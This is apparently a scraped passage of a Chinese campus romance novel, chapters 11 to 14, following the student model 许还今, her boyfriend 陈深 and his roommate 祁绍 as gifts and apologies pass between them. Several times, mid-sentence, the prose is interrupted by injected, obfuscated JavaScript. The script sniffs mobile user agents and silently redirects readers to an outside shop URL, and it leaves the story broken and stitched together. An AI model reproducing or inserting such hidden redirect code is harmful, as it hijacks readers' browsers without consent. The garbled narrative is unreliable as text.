许还今很少收陈深送的礼物,正式恋爱期间也不过收了几样化妆品而已。 陈深知道许还今不图他的钱,但还是想送,想趁着这个机会表现一下。 他发道【唉,我下午正好有体育课,不然就能亲自送给你,我让你我朋友带给你】 许还今过了好几分钟发【不用。】 但陈深心意已决,立马开始翻列表找人,正巧,刚给毛猴发了条消息,王行泽回来了。 他拎着饭和陈深打了声招呼:“你没去吃饭?” “等会去,我先找人下午给我女朋友送东西,我下午部门有活动去不了,毛猴他们也有课……” 陈深说到这,想到什么,抬头看王行泽,眼里的意思溢于言表。 “……,”王行泽一边把饭递给祁绍一边问:“我们下午都有课,你要送去哪,我和祁绍要是顺路就过去一趟。” “在主楼二楼,她一二节课,”陈深一听有戏,赶紧问:“你们有空就课间替我跑一趟。” 王行泽的课也在主楼,刚好顺路,说道:“也行,你东西给我。” “谢谢了,”陈深起身把一个袋子递给王行泽:“你们下课给她就行,我跟她说过了。” 他也跟祁绍说了声:“谢了啊祁绍。” 后者闻言点点头,没说话。 陈深搞定这件事后就出门吃饭,等他走后,王行泽往袋子上看了一眼,是个耳机的logo。 王行泽平时打游戏对外设也有涉足,感慨了句:“这牌子挺贵的,陈深有时候对他女朋友也舍得,剪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许还今打开游戏,旁边的奋笔疾书正在赶采访稿的康婷转头问她:“还今你采访稿借我看看……哎你今天怎么玩游戏了?放松啊?” “不是,回消息,”许还今把自己写的采访稿推给她,没有隐瞒,说:“陈深的舍友,可能是想为昨天那句话道歉。” “祁绍?”康婷更加好奇了,凑过来问:“他发了什么?” 她刚凑过来,就看到满页的赠送皮肤的系统通知,然后一连滑了许久,从上到下三十几条,涵盖了许还今常玩的那几个英雄除了少数限定外的全皮。 皮肤单价不贵,但一口气送这么多总价也是个惊人数字。 “我趣,”康婷震惊了:“这都快赶上我一个月的生活费了,祁绍不愧是浦江富少。” “他能不能再口误一次也叫我一声宝宝,”康婷虔诚许愿:“我也想要皮肤。” “……” 许还今笑了下,说:“也许会吧。” 上课老师要收采访稿作业,康婷拿起笔继续奋笔疾书:“唉可惜我没有参加电竞比赛,输在第一步!” 她转过头,许还今把视线投向祁绍发的那句话上,“对不起,昨天冒犯到你了吗,抱歉。” 十分客气的一句话,没有参杂过多的私人感情,仅仅是出于礼貌和教养,一如当年。 许还今不在意这些事,刚想把皮肤退掉,但是找了一圈都没找到退还键,最后看别人发的帖子上说这些赠送的皮肤不能退。 她微蹙眉,很快回复道【没关系,不用送我皮肤了。】 12. 第 12 章 一整个下课,祁绍都在座位上看着手机,等着有没有新消息。 前面班长转过头问他和王行泽:“咱们系下个的篮球赛还缺人,你们来不来,帮忙占个名额?” 王行泽身高一米八七,虽然不是体育生但也算得上运动健将,去年运动会一人身兼四项,成功成为金融系的救场大师。 他乐于助人,闻言说道:“okok你把我名字加上,咱们系还有哪些人参赛?” 班长掏出手机看群聊:“就篮球队的那几个呗,本来全应该让他们上,但这几天有两个人请假了,一个腿断了,还缺几个替补名额。” “腿断了?!咋断的?” “不知道啊,”班长说:“下节课系里大课,段正年也有课你们问他呗,他篮球队的,知道的肯定比我们清。” “段正年来上课吗?”王行泽想想说:“我这一周都没见到他。” 他转头问祁绍:“你外甥今天来上课吗?” 祁绍正好看到游戏里许还今的那句回复。 不收吗?也对,她好像不经常玩游戏。 祁绍伸手关掉手机,答得随意:“不知道,你好奇自己发消息问他。” “我不发,他现在指不定正和哪个女朋友打的火热呢,”王行泽想想说:“我说你想让他来上课怎么样?他指定来。” 前面的班长接话:“那快让他来吧,这都多久没上课了。” 祁绍正在想其他事,没说话,王行泽以为他默认了,就给段正年发消息:【段正年赶紧来上课,你小舅想你了!!】 【急急急!!】 发完,段正年直到这边上课了才回消息【嗯?】 他引用了王行泽发过来的那句话,回复说【?!这是我小舅说出来的话?】 【我小舅在哪呢?】 王行泽上课时间顶风作案,拍了张祁绍的照片。 半侧脸,拍完发现此时祁绍微微低着头,似乎在想什么烦心事,发过去跟段正年说【看#忧郁少男在上课】 段正年那边正在穿裤子,他女朋友只穿了件白色体恤,给他递了一杯水。 舞蹈生体态轻盈,腰肢纤细,段正年顺手在她腰上摸了一把才接过水。 喝了一口后看到这个消息笑飞了,问【小舅怎么了?游戏连输?】 王行泽也不知道,他小声地问祁绍:“祁绍你外甥问你是不是游戏连输了?” 祁绍是在想不送许还今皮肤还能送什么,懒得搭理这俩人,侧头听课。 * 这节课下课要去给许还今送东西,王行泽硬是拉着祁绍起身。 结果他一出门就犯老毛病,刚走到二楼的厕所前就来感觉了,说要进去一趟,然后把东西给祁绍让他去送给许还今。 祁绍无语至极,没办法只能接下。 走廊上到处都是换教室或者刚来上课的学生,许还今的教室在202,靠近另外一侧的走廊。 祁绍过去的时候他们教室才刚下课,里面的学生还没走完,外面有人在等着进教室。 他刚从后门进去就注意到了许还今。 ——她在靠窗的位置,正准备拿起书本想和同学往外走,阳光外面透过玻璃照在她脸上,显得她皮肤有些透明的苍白感。 祁绍刚站到门口,教室里就有人朝他看,教室里康婷扯了下许还今的袖口,小声问:“那个是不是祁绍?” 许还今也看见了,她点头。 “真帅啊,”康婷感慨说:“这种类型的帅哥我还是第一次看见,好纯的帅感。” 康婷跟大多数人一样仅在开学时听过这个人的名字,今日乍一见他,才知道传言不虚。 “怪不得前几天秦新月她们这么惊讶,帅比!他来找谁啊?” 教室里人来人往,祁绍站在门口的身影被人群挡了下,许还今打算从前门走,闻言说道:“不清楚。” 她正准备走,祁绍却出声:“许还今。” 声音濯清干净,一下从喧闹的人潮纷杂中脱颖而出。 这一声让教室内大部分都回头看他,许还今也回头。 祁绍站在门边,冷白皮,额前黑色的碎发轻落。 他身上有种干燥舒适的少年感,能让人在看到他的第一眼就联想起夏天高中校园里晴风正好的下午,操场上满枝满绿的梧桐树被阳光照的微微透亮,纯净明媚的阳光从树梢里透出来,光斑落在地上,莹莹发亮。 因此祁绍明明只穿着一身极其简单的黑色长裤短袖,但就是能吸引住所有人的目光。 有瞬间,许还今微愣住。 康婷又感叹了一声祁绍的外貌,对许还今说:“他找你有事吧?那我先走了,我男朋友在等我。” 许还今说了声好才朝祁绍走过去。 往202教室旁边走两步就是两栋教学楼之间的连廊,祁绍正对着阳光站着,把手提袋给她,说:“陈深托我送给你。” 许还今现在其实不想收陈深的礼物,但当着祁绍的面她没有多讲什么,接过来说:“谢谢。” “不用谢。” 动作交接的瞬间,祁绍的视线在她的手上落了一秒,很纤细的手指。 手背能明显看到几条青色的脉络。 祁绍给了东西却没有立马走,顿了几秒问道:“嫂子你平时不玩游戏?” 许还今点头:“嗯。” 祁绍又问:“不玩游戏的话,你有什么需要的东西吗?我想送你件礼物,就当是昨天的赔礼了,抱歉昨天我口误了。” 他这番话说的很客气,许还今仍旧拒绝,也是一样的平淡礼貌:“不用了,真的,谢谢。” 但祁绍还是想送,一方面是因为口误,一方面也是因为昨天那个匪夷所思的梦,虽然别人都不知道,可他还是觉得有些尴尬冒犯。 不过他实在不了解许还今,也不知道她喜欢什么,平时他送礼物要么是别人主动向他要,要么是让人家自己挑完他付款。 祁绍自己亲自送礼物的次数不多,送女生的次数就更少了。 他大脑里回想着平时陈深都送许还今些什么。 可祁绍从来都没有注意过这些事,想也想不起来,他的视线不由自主地扫了眼许还今手里的袋子。 BT4,垃圾耳机。 然后下意识地,祁绍说:“陈深送的耳机太垃圾了,不适合你,我送你个新的可以吗?” 他说话时习惯性地摸了下鼻子,鼻骨窄挺,是男生中很少见的微翘鼻,侧面的小痣在白皙的皮肤上格外显眼,可能是因为正对着阳光,他又稍稍眯眼,浓密的长睫垂下。 祁绍长得本来就显少年感,就算不说这句话,他这个样子也有些无辜单纯。 但如果加上这句话,配合着他这幅神态,莫名的,有些说不清道不明的感觉。 “……,”许还今一瞬间怀疑自己听错了,她困惑抬眼:“什么?” 走廊上学生不多,祁绍站在教室后门旁边,还能听到里面的吵闹声。 刚才那一句说完许还今伸手拂了下自己的头发,似乎在思考要说什么缓解气氛。 她今天没有扎头发,长直发自然地别在耳后,顺着肩膀垂落,显得脸很小。 祁绍忽然想起来,上次见她时她好像是波浪卷发?上上次好像也是? 在这个异常尴尬的时刻,祁绍的大脑还十分平静地思考了下原因——可能是做模特要时常适应不同的造型,那不知道她原本是卷发还是直发? 许还今没有说话,可能是不知道该怎么说。 今天天气很热,202教室靠近走廊末端,太阳从外面照进来,热烈滚烫。 祁绍摆烂了,平静的接着说:“对不起,我不是那个意思。” 有的人摆烂会给人一种死到临头,爱jb怎么着就怎么着吧的感觉,有的人摆烂则会让人觉得气定神闲。 很显然,祁绍属于后者。 脸上既没有对自己刚才拿他和人家男朋友对比的尴尬,也没有对自己疑似茶言茶语的反思。 他就站在那里,道歉补偿,眉眼清润,仿佛刚才只是一个无心之举,一切繁杂、另有深意的事情都和他无关。 其实本来这句话细究下来也没问题,祁绍想补偿她但是不知道送什么,就想对标一下陈深。 最多是听感上有些怪异。 许还今刚才匆匆一眼很快就低头,没有再抬眼具体看他的表情。 也没有计较什么,轻攥了下手指说:“你不用道歉,也不用送我礼物,回去上课吧,谢谢。” 话题好像陷入了几秒的僵持,但是没有维持太久,王行泽上完厕所出来往这边走,老远就叫:“祁绍?” 祁绍侧身回应,“在这。” 王行泽看见了跑过来,先和许还今打招呼:“嫂子,祁绍把东西给你了吧?” 许还今抬起手中的袋子:“给了,谢谢你们。” “没事没事,”王行泽问:“嫂子你下午拍摄几点结束?” “九点。” “这么晚不累吗?”王行泽说道:“现在赚钱不容易。” “习惯了还好,也不觉得累,”许还今想起什么,从随身背的包里拿了一个袋子,递给王行泽说:“这个麻烦你给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王行泽气不过:“我比你帅,你滚吧哥们。” * * 出了主楼,就是南江大学的主干道,许还今边走边给陈深发消息。 X.【礼物我收到了,但我用不到,晚上会放在你宿舍楼下,你看看还能退吗?】 X.【我拜托送你的护膝你试试合适吗。】 她发完收起手机,摁了摁眉心,准备去校外乘地铁去拍摄场地。 刚走几步,迎面开来一辆钴蓝色的超跑,吸晴的颜色引得周围学生连连侧目。 主干道通向的是南江大学正门,某种程度是校风校纪的重点排查地,路上每隔十米都有一块牌子提醒学生要缓步慢行,注意出行礼仪。 但此时这辆超跑却开得十分嚣张,发动机的高频轰鸣声从远处呼啸至前,丝毫没有减速的意思。 这个颜色的车再加上这个时间还这个做派的,南江大学里只有一个——祁绍的亲外甥,段正年。 许还今压了下防晒帽的帽檐,低着头,尽量减少自己的存在感。 她前面不远处有几个学生正在横穿马路,跑车快行至她身边时猛然刹车降速,然后是两声短促的汽笛声。 别人分明已经加快速度了,里面的人却像是故意的,干脆摁着喇叭长鸣。 突兀刺耳的汽笛声引人瞩目,周遭的学生都纷纷看向超跑车,连带着,也看向旁边的许还今。 她贴着道路边缘走,其实离段正年的车还有些距离,但所有人的视线就是会在看向豪车的时候不自觉地被许还今扯过去一瞬。 脸好,身材顶,即使是一身朴素的衬衫加牛仔裤的搭配也足够吸引眼球。 车内,段正年的女朋友赶紧摁住他的手臂:“你在学校摁什么喇叭?!” “没事,”段正年说:“你坐好。” 他一向是这个性子,女生也劝不了什么,视线往前一瞥也看见了许还今,换了话题说道:“车前面那个女生感觉很漂亮。” “是吗?” 段正年眯起眼看了两秒,忽然猛打了一下方向盘,超跑迎面朝许还今开来。 直到此时,她才抬头,隔着前车窗玻璃和里面的人对视一眼。 平淡,冷静,和几年前如出一辙的眼神,只不过那时她脸上还没这么浓的妆。 她对所有人都是这个目光,从始至终,只有一个人曾经例外过。 突如其来的动作让段正年的女朋友惊呼了一声:“段正年!你干什么?!” 眼看车子就要撞到人,段正年才重新打回方向盘,“没事,玩玩。” 随即一踩油门,车辆呼啸往前 13. 第 13 章 段正年来上课的时候祁绍还在想事情,他坐在中间列的边缘,段正年硬是要往他旁边凑。 王行泽被他扒拉两下起身给他让位置,边让视线边瞥到他空空如也的手,问:“我艹段少你上课不带书?” “知识都在我脑子里,”段正年坐下说:“不瞒你说,我上课从来不带书。” 王行泽戳穿他:“你是刚从酒店回来没来得及拿书吧?这节课的老师巨严,你当心点。” 段正年闲闲地比了一个“OK”的手势。 前面班长趁着还没上课转过头问:“段少,你篮球队那个断腿的咋断的,也没听说是出意外啊?” “被人打的。” “我艹,怎么打的?” “行为不检点,”段正年说。 他虽然嘴上说不怂,但动作十分诚实,环顾四周开始找人给他送书。 段正年在学校人缘不错,玩得开认识的人也多,瞥见一个学生正往门口走,看起来是要逃课,赶紧叫住对方:“哎老于,上不上课?不上课书给我。” 门口的人回头往这边看,认出段正年了,遥遥地把书丢给他:“你还来上课了?活久见啊,行书给你我逃了。” 这节课是金融系两个班合上的大课,学生很多,书穿过大半个教室飞过来,书页乱飞,段正年高中三年的篮球队前锋居然一下没抓住。 眼看就要飞到旁边砸到人,还是里面的祁绍忽然伸手,轻松接住,然后扔回他桌上。 班长惊讶地说:“祁绍你这接球技术比段正年还牛啊,来不来打篮球赛?咱们系就缺你这种人才!” “不来,”祁绍拒绝。 “他你就别问了,”王行泽说:“从高中那会开始祁绍就没参加过几项集体活动。” “为什么,祁绍你得有集体意识啊!” “小舅不愿意就算了,”段正年高中和祁绍、王行泽在一个学校,同年级但不同班,也说:“当年在我们高中他一出去就有人围着他,情书一收一大把,给我小舅搞烦了。” 祁绍不愿意参加学校活动的性格也是那时候养成的。 每次他一出去,不管干什么,甚至哪怕站在那发呆都一群人起哄,给祁绍整的太无语了,后来他干脆就很少参加集体活动了。 …… 话题围绕着祁绍聊了一会,段正年在两人的强烈追问下开始说篮球队队员断腿的事情。 “和别人女朋友开房被抓了,正房当场暴打小三,两人还是同一个宿舍的,小三准备跳楼跑的时候腿摔断了。” 段正年讲的十分平淡,旁边那两人八卦地艹了几声,班长问:“这么狗血的吗,色迷心窍啊!” 王行泽搭着他的肩膀,关注点奇特的劝道:“兄弟,我觉得照你这个花心程度,你的两条腿也很危险啊!” “有吗?”段正年从桌上捞了支笔说:“多余担心了,我谈恋爱有两个原则,一讲究你情我愿,二从来不搞有夫之妇。” “你看从高中开始有谁挂过我吗?这就是实力。” 段正年从高中开始就是这个作风,高中时他还略微收敛,女朋友一个学期换一个。 他谈的多,但是照他自己的说法就是每一任他都上心了,给钱给资源,人家生气他还天天哄着,顶多就是分手果断了些。 但那又如何,他段正年长得又不差,跟他谈还有帅哥可以睡,性价比贼高。 所以段正年虽然渣的明明白白,名声在外,频繁换女朋友,但从没有前女友站出来说他的不是。 王行泽无话可说,竖了个大拇指。 前面的班长又问:“是怎么发现出轨,还能找到小三的,这腿断的不怨啊。” “俩男的都一个宿舍的,小三给人准备礼物的时候被发现了。” “狗血。” “我擦,爱上舍友女朋友,好大一场戏!” 段正年这种在感情里无往不利的高手显然对正宫抓小三的戏码不感兴趣,潦草地说完就转头问祁绍, “小舅,小舅你想什么呢?” 祁绍其实刚才也听了段正年说的八卦,他本来想诚实地说在想送室友女朋友什么礼物,但是话到嘴边,莫名觉得有点奇怪,就没说。 他转了两下笔,大脑有点放空,过了几秒忽然问他:“你平时都送你女朋友什么礼物?” 这句话牛头不对马嘴,段正年心思转得快,顿时问:“小舅你要送给谁礼物,你谈恋爱了?” “没谈,”祁绍说,“你讲就行了。” 他刚说完,随即又想到了段正年那个渣男作风,扯了两下额前碎发略显烦闷地说:“算了,问你没用。” 段正年:“……” “有用,有用,”段正年赶紧说:“我有经验,你说送给谁,哪个学院的,长什么样,学姐还是学妹?” 祁绍没说话,王行泽前倾着身问:“不会是许还今吧?” 许还今是陈深女朋友这件事段正年也知道,他神情微妙的绷紧问:“小舅怎么和她有联系了?” “昨天我们打游戏,你小舅口出狂言叫人家——” “你行了,”祁绍打断王行泽,正好上课铃响,他翻书听课彻底没有问别人的想法了。 祁绍上课除非特殊情况一般都会认真听讲,王行泽有被频繁点名的前车之鉴,今天也很老实。 段正年虽然满腹疑问,但也没发直接在课上问,听了几分钟的课又玩了会手机,等到下课扯着王行泽出去找地方吞云吐雾的时候才有机会问。 王行泽夹着烟把昨天的事情说了一遍,然后说:“主要是陈深夹在中间,都同一个宿舍的,这件事就尴尬了。” 有了舍友女朋友这层关系,有些东西便需要避嫌,送的礼物不能太敷衍也不能太显亲近。 “不尴尬,”段正年拿着烟靠在旁边的柱子上,他和陈深是同类型的熟男长相,平时也健身,肩宽腰细,身高一米八往上,往那一站就很有压迫感。 他抽烟很快,一支烟王行泽才抽了两口,段正年已经就剩个尾巴了,他吸了一口后把烟头摁灭在垃圾桶的金属盖上。 红光渐消,段正年眼底异样的神情一闪而过,不屑地说:“陈深算个p,要不是小舅……哪能轮到他。” 外面正好有几个学生走过,王行泽侧身给他们让路,没听清段正年中间那几个字,扬眉问:“你说什么?” 段正年把烟头扔进垃圾桶,“没事。” * 段正年这次来上课,也是有事找祁绍,他出谋划策说, “小舅,这样你送她一条手链,这样我帮你挑,你要是不方便送我还能帮你送过去。刚好我女朋友要参加一个杂志拍摄,你能不能和姨姥说一声从她那借几条珠宝?” 祁绍外祖父家关系复杂,准确来说祁绍应该是段正年的表舅,董持云同父异母兄弟姐妹五个,段正年是祁绍大伯家女儿的儿子,而董持云女士排第四,下面还有一个妹妹。 两个女儿都是祁绍外公老来得女,因此对她们非常宠爱,给了股份就让她们去做自己喜欢的事情。 董持云是珠宝设计师,所主持的工作室常和多家奢牌以及一线杂志合作,在时尚界颇有地位。 但她工作室的珠宝一般很少外借,段正年也没离奇到借她姨姥亲自设计的首饰,他想借的是某个品牌的副线产品。 这个品牌和工作室有合作,又出了几款热门的轻奢珠宝,段正年的女朋友平时也会拍杂志,戴这个品牌的产品正合适。 段正年说:“你帮我问问姨姥,就她一句话的事情。” 祁绍确实还没想好要送什么礼物,而且确实,他不方便送,感觉许还今不怎么想见到他。 祁绍侧了下头说:“把你女朋友需要的珠宝照片发给董女士,我晚上跟她说一声。” “那许还今的呢?” “我再想想,”祁绍心不在焉地说:“现在还用不到你。” * 许还今提前了一个小时结束拍摄,原定的婚纱图临时换了另外一位模特拍。 这种临阵换人的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我待会合作方商量一下,允许我把刚拍的那几张先导片发在自己的微博上,也好给你增加热度,我那个平台粉丝也有七八万。另外,这个wx你加一下——” 摄影师打开手机,推荐过去一个名片,说:“这是我师姐,最近要给一家珠宝拍宣传杂志,正在选模特,你们先聊聊。今天真是对不住。” 珠宝的宣传杂志一般规格都比较高,给的价钱也高,许还今赶紧道谢:“谢谢老师赏识,我回去就联系师姐。” “好好,你就说是我介绍的人,”摄影师还要忙着布置场景,拍拍她的肩膀说道:“加油干,别把今天的事情放在心上,往后你的职业生涯还长着。” 许还今又点头道谢,才去换衣服。 在后台她也听见了几句工作人员的议论声,无非是说现在没背景真不行,小模特可能自身能力也不够这样的话。 言语之间有可惜也有司空见惯,许还今一天没怎么吃饭,很饿,没心思去关心别人的闲言碎语,换好衣服就打算去摄影棚附近的小店吃点东西。 她刚走出门,路灯下,有人叫她的名字:“还今,这里!” 许还今循声回头,身后是陈深。 他可能是刚结束训练,头发还湿着,手上带着运动护腕,跑过来问她:“今天这么早就下班了?” “嗯,有个杂志临时不拍了,”许还今没想到他会过来,错愕一瞬问:“你怎么来了?” “我担心你不高兴嘛,”陈深把手里的奶茶递给她:“工作这么晚饿了吧,我刚预订了晚饭,过去吃。” 奶茶去冰,可能是刚买,瓶身在夏夜的天气里浸润出一层水雾。 许还今又问:“你来了多久了,怎么不进去找我?” “我想给你个惊喜来着,没想到你这么早就出来了。” 他揽过许还今的肩膀,接过她手里的包,讨饶般问:“今天拍摄还顺利吗?” 他在这一刻是妥帖关切的,但许还今的视线下意识地扫过他的手腕,话到嘴边又咽下去,随即不露声色地躲开陈深的动作, “嗯,还顺利。太热了,你别揽着我。” 14. 第 14 章 陈深订的是学校附近一家私房菜,为了迎合广大师生的作息,老板关门很早。 许还今工作的地方离学校还有一段距离,两人打车回去。 上车的时候两人都坐在后排,陈深本来想牵手,但许还今一直在发消息,可能是商量工作的事情,他只好作罢。 其实这几天陈深能感觉到许还今的抗拒,但说实话,他目前也不知道该怎么办。 两人之前没吵过架,从同学走到情侣关系都是顺其自然。 在陈深的印象里,许还今在班级里基本上是透明人。 她话不多,虽然长得漂亮但性格安静,很少参加集体活动,只在刚转进来的时候因为不俗的外表引起过一阵轰动。 大部分接触她的男生都会在最后评价她为漂亮无趣,许还今也从不和异性有过多的交流。 高中两年时间她基本只和附近的几个女同学有交际。 陈深也是一样,他当时每次只在收作业时才能和许还今说上几句话。 大部分情况都是许还今的同桌作为课代表委托她帮忙收作业,而陈深没写,火烧眉毛之际从许还今手上的作业本里随机选一本开始抄。 许还今收完作业回来问他:“你写完了吗?” 陈深说:“等等,马上就好。他这题空着了,你写了吗?借我抄抄。” 许还今就把作业拿给他。 交流点到为止。 那时候陈深再喜欢许还今也找不到她任何突破口。 他对许还今了解不多,从各种渠道也只知道镇川是她外公外婆居住的地方,许还今和他们一起生活。 她外公曾经来开过家长会,年纪很大,看起来家庭条件不好。 平时许还今经常两套校服换着穿,不穿校服的时候她日常衣服也不多,T恤,衬衫,都是最简单的基础款。 其实学校里关于她的闲言碎语不少,镇川这座城市不大,骑车两三个小时就能绕一圈。 学校更是一个相对封闭的地方,一有什么风吹草动消息就传得飞快。 许还今中途转学,外貌又好,性格也似乎与众不同,大家对她为什么转学,之前在哪个高中上学都很好奇。 算不上恶意的揣测,但总有那么几个人编排的出下作的流言。 可许还今从没在意过,她照常学习,直到流言蜚语逐渐被淡忘,许还今和转校生这两个词也从无事生非的人口中消失。 陈深还记得许还今转校后的第一次月考她成绩只在中上等,然后不知道从什么时候开始,她开始常年霸榜年纪第一。 后来全校就她和陈深考上了南江大学,能从镇川那个小地方考上南江大学,必须要有点本事,陈深靠的是体育特招,而许还今是纯裸分报考。 高考后陈深疯玩了一段时间,之后在一次同学聚会上听许还今的同桌提起她现在正在浦江当模特赚钱。 陈深因此做了一个大胆的决定,他火速找爸妈说自己要去浦江玩一趟,然后从她同桌那打听到了她在哪里工作,刚落地就去找了许还今。 许还今见到他很惊讶,请他吃了顿饭,两人就是那时加上了联系方式。 她住的是合租房,地段不算好,是在一家狭窄的巷子里,陈深去的那几天一直陪她上下班,送她回家。 陈深家里挺有钱的,当时刚高考完,他父母各方面都对他比较大方。 陈深也挺乐意给许还今花钱的,他给许还今买衣服鞋子,但她都不要,他们当时也没在一起。 上了大学之后陈深为了自己赚点钱也想做兼职,就找了一家模特公司,刚开始他没经验,都是许还今在帮他。 帮他安排工作或者是和经纪人交接,一来二去两人比较熟,有时候碰巧在一个地方拍摄,陈深也会和许还今一起过去。 因此周围开始慢慢有他们正在谈恋爱的传闻,两人都没有解释,许还今是因为太忙没关注到这些,兼职,拍摄,学习占据了她全部的时间。 而陈深则是不想解释,他甚至乐意至极。 就这么维持了一年多,他们真正在一起是今年的三月份,许还今的外公生病住院,陈深过去看望。 陈深长得还比较讨长辈喜欢,许还今的外公看见他高兴,也以为是自己外孙女男朋友。 当时许还今听到了这句,但她没有说话,那时候陈深隐约有个念头,就是今天他表白,一定可以。 从病房出来,下楼梯的时候陈深牵住了她的手,果然,许还今没有挣脱。 谈恋爱后两人之前的亲密接触也不多,许还今年纪小,她刚转学那会才十五,三年过去,也就前两个月才刚成年。 陈深比她大两岁,有些事情他虽然也想,也着急但毕竟人家年纪摆在那里,他不好提出来。 好不容易等到她成年了,又发生了手表这件事。 陈深倒也不是非要干些什么,他只想和许还今好好谈恋爱,反正千不该万不该,那天不该喝醉。 如果没有这些事,今天她也不会对自己这么冷淡。 陈深心里十分懊悔,但到了这一步,除了想招补救也没别的办法了。 他心里有愧,凑过去看许还今的手机问:“宝宝你在看什么?” 许还今侧了下屏幕给他看,“工作上的事情。” 她在给刚才摄影师说的那个师姐发消息,对方回复的很快,听到是学弟推荐的人马上同意让她下周二来试镜。 陈深说了句:“好忙,工作可以适当的推掉点,你要是缺钱我发你。” 他家里管得严许还今也知道,她摇头否定:“不用,谢谢。” 还是很疏远的拒绝,陈深不是什么特别有耐心的人,许还今这两周都不搭理他,顿时让他有些心烦意乱。 他坐直身体,偏头刚要说话,“宝宝你能不能……” 正好车在等红绿灯,外面路灯的光线透过车窗落到她脸上,晕黄的灯光笼在脸侧,仿佛是一圈柔和的画笔勾勒出她的侧脸轮廓,姣好明艳。 陈深心里的那股气莫名就散下去了,他顿了下,抬手捏了捏许还今的脸颊,有些无奈:“还在气我把手表弄丢的事情?” 他手指温热,带着些夏日的燥气,许还今也稍微侧头,眼神略过他的脸,没有否认。 陈深被看得心底发软,哄道:“我保证过几天就把手表拿回来,别生气了。礼物你收下,谢谢宝宝送的护膝。” 下午陈深回了趟宿舍,从王行泽那边拿到了护膝。 许还今却说:“我宿舍还有很多防晒,都用不过来,你不要浪费钱了。” 她这次拒绝地合情合理,陈深也只得说句行。 他牵住许还今的手,低声说:“宝宝,我最爱你了。” 许还今悄然收了下手指,不置可否。 * 到了餐馆,八点多正是有些学生出来觅食的时候,店外排了长队,陈深虽然提前约了号,但也要等两个位置。 他搬了两个塑料凳子给许还今和自己。 刚坐下一会,旁边忽然有人叫陈深:“陈深!深哥!” 陈深回头,是钱吊车毛猴他们。 祁绍也在,他拿着手机正在打游戏,王行泽站在他身边,拿着一袋零食,大概是在劝祁绍吃什么东西,“你尝一口,好吃的,我们哪次骗过你?” 祁绍歪头避开,抬眼正要说话,看见了许还今和陈深。 许还今也在看向这边,她率先微笑致意。 隔着人群,祁绍也很快点头。 陈深扬声问:“你们出来吃夜宵?” “我、毛猴刚训练完吃晚饭,”钱吊车说:“祁绍他们吃夜宵。” 大概是祁绍以前不怎么出门,陈深顿时问:“祁绍今天怎么同意出来了?” “他一会去网吧,顺道出来一趟。” 聊了几句,祁绍他们排的位置靠后,陈深就让他们过来一起吃,排他这个号快一点。 毛猴也没有推辞,几人走过去。 陈深问:“你们刚训练完?” “嗯,那老师把我们留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067290|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来加训,”钱吊车说:“哪像你,一到点就溜去接嫂子了。重色忘友!” “嫂子你可要好好管管他,深哥这抛弃兄弟!” 面对打趣,陈深非常不顾兄弟情地说:“滚滚,你们哪有我女朋友重要,是不是还今?” 许还今微微笑了下。 他们又聊起训练的事情,许还今坐在凳子上,露天的等候区,她旁边是路灯,祁绍正靠在上面打游戏。 他晚上换了一件白色短袖,和过于少年气的纯感外表截然相反,祁绍的手臂上稍微用力就青筋虬起。 凸起的筋脉绕着冷色调的皮肤攀附伸展,从掌骨蔓延到手肘上方的衣袖里。 线条流畅有力,是不加掩饰的侵略感。 许还今始终在控制着自己的目光,只一眼就收回视线。 但祁绍似乎察觉到了什么,以为她无聊,就把手放低,几乎是许还今稍微侧头就能看到他的游戏界面。 他在玩fps游戏,操作流畅,在放低后的几秒就能看到他屏幕上播报的五杀通知。 祁绍打游戏一直很厉害,他属于轻轻松松就能把一切事情搞定的人,学习是这样,玩游戏也是。 陈深那边聊了一会,要去超市买东西,他把手机递给许还今,让她注意餐号。 王行泽问祁绍:“你去吗?我们买酒。” “不去,”祁绍说。 “行,那你打游戏吧。” 一行人很快走了,这边就剩下她和祁绍。 他们之间不熟,因此也没人开口说话。 过了几秒,祁绍收了手机,他好像往旁边走了,也许是找地方坐下。 许还今翻开包,想找湿巾纸和镜子擦一下自己脱妆的眼角。 但刚打开,她手还没伸进去,祁绍就先回来了。 递给许还今一杯冰镇的酸柠汁,“你渴吗,我看你一直在出汗。” 许还今微愣住,目光停在他手上,不知道是该接还是不该接。 她手边还有陈深刚买的奶茶,但不符合许还今的口味,她只喝了几口就放着没动。 祁绍见她没反应,抬了下手臂,说:“给,拿着吧,不喝拿在手里也凉快点。” 许还今这才反应过来,垂眼接下说:“谢谢。” “嫂子你喜欢喝酸柠汁?” “嗯,偶尔喝。” 出人意料,祁绍忽然在她身边半蹲下,抬眼问她:“我听说嫂子你在做模特,工作上有遇到什么麻烦吗,如果有需要可以告诉我。” 这个距离说近不近,说远不远,能让许还今十分清楚的看到他鼻上的痣。 很小的一个点,是褐色的。 他从口袋里拿了几张名片,接着说:“这是几个珠宝工作室的对接人,如果你拍摄需要借首饰和衣服的话可以直接向他们要,我都打过招呼了。” 一而再再而三地提起那天的事似乎更加冒犯,所以这次祁绍没说原因,但许还今懂他为什么这样说。 他好像很客气又好像客气地过头了。 